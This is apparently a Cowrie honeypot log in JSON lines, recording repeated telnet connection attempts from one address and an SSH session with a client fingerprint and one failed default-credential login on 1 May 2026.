{"eventid":"cowrie.session.closed","duration":31.41525959968567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.461905Z","src_ip":"198.50.122.223","session":"e93b1685b213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55352,"dst_ip":"10.17.0.5","dst_port":23,"session":"c750b7f85838","protocol":"telnet","message":"New connection: 198.50.122.223:55352 (10.17.0.5:23) [session: c750b7f85838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.483417Z"}
{"eventid":"cowrie.session.closed","duration":30.841983556747437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.496434Z","src_ip":"198.50.122.223","session":"281a3ff3956f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00191020965576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.581172Z","src_ip":"198.50.122.223","session":"4f0cc3186153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31262516975403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:22.611869Z","src_ip":"198.50.122.223","session":"ba1288848555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98566222190857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:23.178894Z","src_ip":"198.50.122.223","session":"490db4d6664a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60820,"dst_ip":"10.17.0.5","dst_port":23,"session":"764916fa5c0e","protocol":"telnet","message":"New connection: 198.50.122.223:60820 (10.17.0.5:23) [session: 764916fa5c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:23.500311Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36238,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e119a0ac8f9","protocol":"telnet","message":"New connection: 198.50.122.223:36238 (10.17.0.5:23) [session: 9e119a0ac8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.059952Z"}
{"eventid":"cowrie.session.closed","duration":31.002531051635742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.159114Z","src_ip":"198.50.122.223","session":"b3025a5fc794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ef775f517c","protocol":"telnet","message":"New connection: 198.50.122.223:36586 (10.17.0.5:23) [session: c0ef775f517c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.185938Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36916,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b89a9f254b","protocol":"telnet","message":"New connection: 198.50.122.223:36916 (10.17.0.5:23) [session: 92b89a9f254b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.254297Z"}
{"eventid":"cowrie.session.closed","duration":30.581698417663574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.270300Z","src_ip":"198.50.122.223","session":"85975a16384f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16541886329651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.408830Z","src_ip":"198.50.122.223","session":"e02f988a6367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74650478363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.476344Z","src_ip":"198.50.122.223","session":"5aef6ae8d416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781691551208496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.536002Z","src_ip":"198.50.122.223","session":"7352c9d095e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04658603668213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.560207Z","src_ip":"198.50.122.223","session":"400102e99308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"59c2f71583b2","protocol":"telnet","message":"New connection: 198.50.122.223:50718 (10.17.0.5:23) [session: 59c2f71583b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.620745Z"}
{"eventid":"cowrie.session.closed","duration":30.65632963180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.632759Z","src_ip":"198.50.122.223","session":"c8a0a9ef4ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.273320198059082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.733453Z","src_ip":"198.50.122.223","session":"cdc41b27fd75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34908,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c553e38f47","protocol":"telnet","message":"New connection: 198.50.122.223:34908 (10.17.0.5:23) [session: 89c553e38f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.793365Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"95213d870838","protocol":"telnet","message":"New connection: 198.50.122.223:40976 (10.17.0.5:23) [session: 95213d870838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.954347Z"}
{"eventid":"cowrie.session.closed","duration":31.202194690704346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:24.972293Z","src_ip":"198.50.122.223","session":"386783abf1a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65884494781494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:25.379862Z","src_ip":"198.50.122.223","session":"83470337723c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811561346054077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:25.524898Z","src_ip":"198.50.122.223","session":"156d5a169584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3232102394104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:25.531486Z","src_ip":"198.50.122.223","session":"53a0cb9ca03d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57539677619934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:25.860121Z","src_ip":"198.50.122.223","session":"d8baa36bae8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45956,"dst_ip":"10.17.0.5","dst_port":23,"session":"d58265173bf9","protocol":"telnet","message":"New connection: 198.50.122.223:45956 (10.17.0.5:23) [session: d58265173bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.024635Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46086,"dst_ip":"10.17.0.5","dst_port":23,"session":"15daefafe3c0","protocol":"telnet","message":"New connection: 198.50.122.223:46086 (10.17.0.5:23) [session: 15daefafe3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.098046Z"}
{"eventid":"cowrie.session.closed","duration":30.779728412628174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.156089Z","src_ip":"198.50.122.223","session":"239d1962b072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.330928325653076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.383810Z","src_ip":"198.50.122.223","session":"4ffdf45fbc5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943967580795288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.435286Z","src_ip":"198.50.122.223","session":"785178f7dc8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168221712112427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.482664Z","src_ip":"198.50.122.223","session":"51115ea9b6b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43126,"dst_ip":"10.17.0.5","dst_port":23,"session":"81fa3ff1f45f","protocol":"telnet","message":"New connection: 198.50.122.223:43126 (10.17.0.5:23) [session: 81fa3ff1f45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.527758Z"}
{"eventid":"cowrie.session.closed","duration":31.311893939971924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:26.568422Z","src_ip":"198.50.122.223","session":"26a4d5faa0d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.818554401397705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:27.051118Z","src_ip":"198.50.122.223","session":"8de0ab2b0a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51206,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ed4ba3347c","protocol":"telnet","message":"New connection: 198.50.122.223:51206 (10.17.0.5:23) [session: 98ed4ba3347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:27.135545Z"}
{"eventid":"cowrie.session.closed","duration":30.623592615127563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:27.213846Z","src_ip":"198.50.122.223","session":"1d03fb4f6be2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.530014753341675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:27.574192Z","src_ip":"198.50.122.223","session":"01012999aaaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55980,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec97a0fb34e3","protocol":"telnet","message":"New connection: 198.50.122.223:55980 (10.17.0.5:23) [session: ec97a0fb34e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:27.987079Z"}
{"eventid":"cowrie.session.closed","duration":31.352266788482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:28.370541Z","src_ip":"198.50.122.223","session":"18b2a54a0cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791835069656372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:28.441805Z","src_ip":"198.50.122.223","session":"3881769782b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235791206359863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:28.446679Z","src_ip":"198.50.122.223","session":"3bcb47ab376a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261436939239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:28.588346Z","src_ip":"198.50.122.223","session":"3ba32de97bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5002e7dd0a83","protocol":"telnet","message":"New connection: 198.50.122.223:33088 (10.17.0.5:23) [session: 5002e7dd0a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.170479Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33154,"dst_ip":"10.17.0.5","dst_port":23,"session":"85fe2baf8253","protocol":"telnet","message":"New connection: 198.50.122.223:33154 (10.17.0.5:23) [session: 85fe2baf8253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.193716Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33310,"dst_ip":"10.17.0.5","dst_port":23,"session":"53f8ff7be9c0","protocol":"telnet","message":"New connection: 198.50.122.223:33310 (10.17.0.5:23) [session: 53f8ff7be9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.238379Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33344,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f91f587b9e","protocol":"telnet","message":"New connection: 198.50.122.223:33344 (10.17.0.5:23) [session: 54f91f587b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.245123Z"}
{"eventid":"cowrie.session.closed","duration":30.987618684768677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.254576Z","src_ip":"198.50.122.223","session":"af27fc626962","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94348454475403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.296230Z","src_ip":"198.50.122.223","session":"416fe024907b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57116,"dst_ip":"10.17.0.5","dst_port":23,"session":"052d1ab28bb7","protocol":"telnet","message":"New connection: 198.50.122.223:57116 (10.17.0.5:23) [session: 052d1ab28bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.323591Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33916,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddb79daf5a77","protocol":"telnet","message":"New connection: 198.50.122.223:33916 (10.17.0.5:23) [session: ddb79daf5a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.359133Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33958,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b2f9259c4a","protocol":"telnet","message":"New connection: 198.50.122.223:33958 (10.17.0.5:23) [session: 93b2f9259c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.366851Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57368,"dst_ip":"10.17.0.5","dst_port":23,"session":"c312f079e73a","protocol":"telnet","message":"New connection: 198.50.122.223:57368 (10.17.0.5:23) [session: c312f079e73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.420655Z"}
{"eventid":"cowrie.session.closed","duration":30.98635482788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.427566Z","src_ip":"198.50.122.223","session":"b3583630f2e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362427711486816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.479908Z","src_ip":"198.50.122.223","session":"99b12c0a7272","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dec74af1811","protocol":"telnet","message":"New connection: 198.50.122.223:34892 (10.17.0.5:23) [session: 9dec74af1811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:29.583584Z"}
{"eventid":"cowrie.session.closed","duration":31.707148790359497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:30.008879Z","src_ip":"198.50.122.223","session":"4afde81ff154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51736,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f694fb77bb","protocol":"telnet","message":"New connection: 198.50.122.223:51736 (10.17.0.5:23) [session: c0f694fb77bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:30.300849Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41004,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d5c3e5175ef","protocol":"telnet","message":"New connection: 198.50.122.223:41004 (10.17.0.5:23) [session: 6d5c3e5175ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:30.678551Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"1767c14623a6","protocol":"telnet","message":"New connection: 198.50.122.223:43186 (10.17.0.5:23) [session: 1767c14623a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.059386Z"}
{"eventid":"cowrie.session.closed","duration":30.89055895805359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.260231Z","src_ip":"198.50.122.223","session":"df800eedc8ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"891d3542f133","protocol":"ssh","message":"New connection: 2.203.183.35:47532 (159.203.135.109:22) [session: 891d3542f133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.412546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.417409Z","src_ip":"2.203.183.35","session":"891d3542f133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.526365Z","src_ip":"2.203.183.35","session":"891d3542f133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2022442817688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:31.668301Z","src_ip":"198.50.122.223","session":"239db892cbd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48012,"dst_ip":"10.17.0.5","dst_port":23,"session":"b873854b8987","protocol":"telnet","message":"New connection: 198.50.122.223:48012 (10.17.0.5:23) [session: b873854b8987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.036808Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin","message":"login attempt [ubuntu/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.056492Z","src_ip":"2.203.183.35","session":"891d3542f133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.179630517959595,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.320414Z","src_ip":"198.50.122.223","session":"f3389c358034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44438,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26bba84f155","protocol":"telnet","message":"New connection: 198.50.122.223:44438 (10.17.0.5:23) [session: d26bba84f155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.451571Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50848,"dst_ip":"10.17.0.5","dst_port":23,"session":"afb9998991ae","protocol":"telnet","message":"New connection: 198.50.122.223:50848 (10.17.0.5:23) [session: afb9998991ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.638541Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51086,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d561367d4c1","protocol":"telnet","message":"New connection: 198.50.122.223:51086 (10.17.0.5:23) [session: 0d561367d4c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.667137Z"}
{"eventid":"cowrie.session.closed","duration":31.506680011749268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:32.745906Z","src_ip":"198.50.122.223","session":"2f5e357b7ceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.174423Z","src_ip":"2.203.183.35","session":"891d3542f133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53378,"dst_ip":"10.17.0.5","dst_port":23,"session":"f18ef30a1b27","protocol":"telnet","message":"New connection: 198.50.122.223:53378 (10.17.0.5:23) [session: f18ef30a1b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.189420Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53698,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0564888a1f","protocol":"telnet","message":"New connection: 198.50.122.223:53698 (10.17.0.5:23) [session: ce0564888a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.296440Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53744,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0cc8588af6","protocol":"telnet","message":"New connection: 198.50.122.223:53744 (10.17.0.5:23) [session: 3a0cc8588af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.305455Z"}
{"eventid":"cowrie.session.closed","duration":30.834248781204224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.403612Z","src_ip":"198.50.122.223","session":"a99580af730a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524149417877197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:26:33.442740Z","src_ip":"198.50.122.223","session":"96582be6c8a8","protocol":"telnet"}
